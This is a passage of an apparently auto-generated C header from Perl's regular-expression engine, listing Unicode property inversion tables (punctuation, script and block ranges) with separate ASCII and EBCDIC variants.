0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2010, - 0x2028, - 0x2030, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x205F, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x2E4A, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x303D, - 0x303E, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA92E, - 0xA930, - 0xA95F, - 0xA960, - 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF0B, - 0xFF0C, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PALM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10860, - 0x10880 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PATSYN_invlist[] = { /* for ASCII/Latin1 */ - 57, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0x7F, - 0xA1, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAD, - 0xAE, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB7, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2010, - 0x2028, - 0x2030, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x205F, - 0x2190, - 0x2460, - 0x2500, - 0x2776, - 0x2794, - 0x2C00, - 0x2E00, - 0x2E80, - 0x3001, - 0x3004, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0xFD3E, - 0xFD40, - 0xFE45, - 0xFE47 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PATSYN_invlist[] = { /* for EBCDIC 1047 */ - 61, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xB3, - 0xB4, - 0xB7, - 0xBD, - 0xBE, - 0xBF, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE2, - 0x2010, - 0x2028, - 0x2030, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x205F, - 0x2190, - 0x2460, - 0x2500, - 0x2776, - 0x2794, - 0x2C00, - 0x2E00, - 0x2E80, - 0x3001, - 0x3004, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0xFD3E, - 0xFD40, - 0xFE45, - 0xFE47 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PATSYN_invlist[] = { /* for EBCDIC 037 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xB3, - 0xB4, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE2, - 0x2010, - 0x2028, - 0x2030, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x205F, - 0x2190, - 0x2460, - 0x2500, - 0x2776, - 0x2794, - 0x2C00, - 0x2E00, - 0x2E80, - 0x3001, - 0x3004, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0xFD3E, - 0xFD40, - 0xFE45, - 0xFE47 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PAUC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11AC0, - 0x11AF9 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PC_invlist[] = { /* for ASCII/Latin1 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5F, - 0x60, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFF3F, - 0xFF40 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PC_invlist[] = { /* for EBCDIC 1047 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6D, - 0x6E, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFF3F, - 0xFF40 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PC_invlist[] = { /* for EBCDIC 037 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6D, - 0x6E, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFF3F, - 0xFF40 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PCM_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x600, - 0x606, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x110BD, - 0x110BE -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PD_invlist[] = { /* for ASCII/Latin1 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D, - 0x2E, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x1400, - 0x1401, - 0x1806, - 0x1807, - 0x2010, - 0x2016, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x301C, - 0x301D, - 0x3030, - 0x3031, - 0x30A0, - 0x30A1, - 0xFE31, - 0xFE33, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PD_invlist[] = { /* for EBCDIC 1047 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x1400, - 0x1401, - 0x1806, - 0x1807, - 0x2010, - 0x2016, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x301C, - 0x301D, - 0x3030, - 0x3031, - 0x30A0, - 0x30A1, - 0xFE31, - 0xFE33, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PD_invlist[] = { /* for EBCDIC 037 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x1400, - 0x1401, - 0x1806, - 0x1807, - 0x2010, - 0x2016, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x301C, - 0x301D, - 0x3030, - 0x3031, - 0x30A0, - 0x30A1, - 0xFE31, - 0xFE33, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PE_invlist[] = { /* for ASCII/Latin1 */ - 145, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x29, - 0x2A, - 0x5D, - 0x5E, - 0x7D, - 0x7E, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301E, - 0x3020, - 0xFD3E, - 0xFD3F, - 0xFE18, - 0xFE19, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE48, - 0xFE49, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF61, - 0xFF63, - 0xFF64 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PE_invlist[] = { /* for EBCDIC 1047 */ - 145, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5D, - 0x5E, - 0xBD, - 0xBE, - 0xD0, - 0xD1, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301E, - 0x3020, - 0xFD3E, - 0xFD3F, - 0xFE18, - 0xFE19, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE48, - 0xFE49, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF61, - 0xFF63, - 0xFF64 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PE_invlist[] = { /* for EBCDIC 037 */ - 145, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5D, - 0x5E, - 0xBB, - 0xBC, - 0xD0, - 0xD1, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301E, - 0x3020, - 0xFD3E, - 0xFD3F, - 0xFE18, - 0xFE19, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE48, - 0xFE49, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF61, - 0xFF63, - 0xFF64 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PERM_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x483, - 0x484, - 0x10350, - 0x1037B -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PF_invlist[] = { /* for ASCII/Latin1 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBB, - 0xBC, - 0x2019, - 0x201A, - 0x201D, - 0x201E, - 0x203A, - 0x203B, - 0x2E03, - 0x2E04, - 0x2E05, - 0x2E06, - 0x2E0A, - 0x2E0B, - 0x2E0D, - 0x2E0E, - 0x2E1D, - 0x2E1E, - 0x2E21, - 0x2E22 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PF_invlist[] = { /* for EBCDIC 1047 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8B, - 0x8C, - 0x2019, - 0x201A, - 0x201D, - 0x201E, - 0x203A, - 0x203B, - 0x2E03, - 0x2E04, - 0x2E05, - 0x2E06, - 0x2E0A, - 0x2E0B, - 0x2E0D, - 0x2E0E, - 0x2E1D, - 0x2E1E, - 0x2E21, - 0x2E22 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PF_invlist[] = { /* for EBCDIC 037 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8B, - 0x8C, - 0x2019, - 0x201A, - 0x201D, - 0x201E, - 0x203A, - 0x203B, - 0x2E03, - 0x2E04, - 0x2E05, - 0x2E06, - 0x2E0A, - 0x2E0B, - 0x2E0D, - 0x2E0E, - 0x2E1D, - 0x2E1E, - 0x2E21, - 0x2E22 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PHAG_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1802, - 0x1804, - 0x1805, - 0x1806, - 0xA840, - 0xA878 -}; - -static const UV PL_PHAISTOS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x101D0, - 0x10200 -}; - -static const UV PL_PHLI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B60, - 0x10B73, - 0x10B78, - 0x10B80 -}; - -static const UV PL_PHLP_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x640, - 0x641, - 0x10B80, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0 -}; - -static const UV PL_PHNX_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10900, - 0x1091C, - 0x1091F, - 0x10920 -}; - -static const UV PL_PHONETICEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D00, - 0x1D80 -}; - -static const UV PL_PHONETICEXTSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D80, - 0x1DC0 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PI_invlist[] = { /* for ASCII/Latin1 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAB, - 0xAC, - 0x2018, - 0x2019, - 0x201B, - 0x201D, - 0x201F, - 0x2020, - 0x2039, - 0x203A, - 0x2E02, - 0x2E03, - 0x2E04, - 0x2E05, - 0x2E09, - 0x2E0A, - 0x2E0C, - 0x2E0D, - 0x2E1C, - 0x2E1D, - 0x2E20, - 0x2E21 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PI_invlist[] = { /* for EBCDIC 1047 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8A, - 0x8B, - 0x2018, - 0x2019, - 0x201B, - 0x201D, - 0x201F, - 0x2020, - 0x2039, - 0x203A, - 0x2E02, - 0x2E03, - 0x2E04, - 0x2E05, - 0x2E09, - 0x2E0A, - 0x2E0C, - 0x2E0D, - 0x2E1C, - 0x2E1D, - 0x2E20, - 0x2E21 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_PI_invlist[] = { /* for EBCDIC 037 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8A, - 0x8B, - 0x2018, - 0x2019, - 0x201B, - 0x201D, - 0x201F, - 0x2020, - 0x2039, - 0x203A, - 0x2E02, - 0x2E03, - 0x2E04, - 0x2E05, - 0x2E09, - 0x2E0A, - 0x2E0C, - 0x2E0D, - 0x2E1C, - 0x2E1D, - 0x2E20, - 0x2E21 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_PLAYINGCARDS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F0A0, - 0x1F100 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_PO_invlist[] = { /* for ASCII/Latin1 */ - 339, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x24, - 0x25, - 0x28, - 0x2A, - 0x2B, - 0x2C, - 0x2D, - 0x2E, - 0x30, - 0x3A, - 0x3C, - 0x3F, - 0x41, - 0x5C, - 0x5D, - 0xA1, - 0xA2, - 0xA7, - 0xA8, - 0xB6, - 0xB8, - 0xBF, - 0xC0, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58A, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x166D, - 0x166F, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 